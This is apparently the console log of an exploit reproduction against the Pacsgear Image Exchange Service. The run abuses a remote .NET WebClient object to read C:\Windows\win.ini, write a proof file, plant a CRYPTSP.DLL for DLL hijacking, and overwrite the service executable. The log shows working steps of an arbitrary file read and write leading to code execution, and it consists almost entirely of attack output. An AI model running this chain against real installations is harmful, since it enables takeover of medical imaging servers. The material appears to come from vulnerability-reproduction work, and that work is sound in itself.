[+] Reading C:\Windows\win.ini and writing proof file through remote WebClient
Obtained remote WebClient transparent=True uri=/86e98168_8fdb_4644_a57b_f4dee608ee04/+cun1ejxe8p2pgnlpxzjdwk__1.rem
READ bytes=16 uri=file:///C:/windows/win.ini
[mail]
mapi=1

UPLOAD bytes=73 response=0 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/REMOTE_WRITE_PROOF_2.txt
VERIFY bytes=73 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/REMOTE_WRITE_PROOF_2.txt
[+] Planting CRYPTSP.DLL in the product application directory through remote WebClient
Obtained remote WebClient transparent=True uri=/86e98168_8fdb_4644_a57b_f4dee608ee04/2uhky22bq9dsopg1sgudnoha_3.rem
UPLOAD bytes=83454 response=0 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/CRYPTSP.DLL
VERIFY bytes=83454 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/CRYPTSP.DLL
[+] Overwriting PGImageExchangeQueueSvc.exe through remote WebClient
Obtained remote WebClient transparent=True uri=/86e98168_8fdb_4644_a57b_f4dee608ee04/mjxzmifnmpvdvwqiq1ypjdfa_4.rem
UPLOAD bytes=114101 response=0 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/PGImageExchangeQueueSvc.exe
VERIFY bytes=114101 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/PGImageExchangeQueueSvc.exe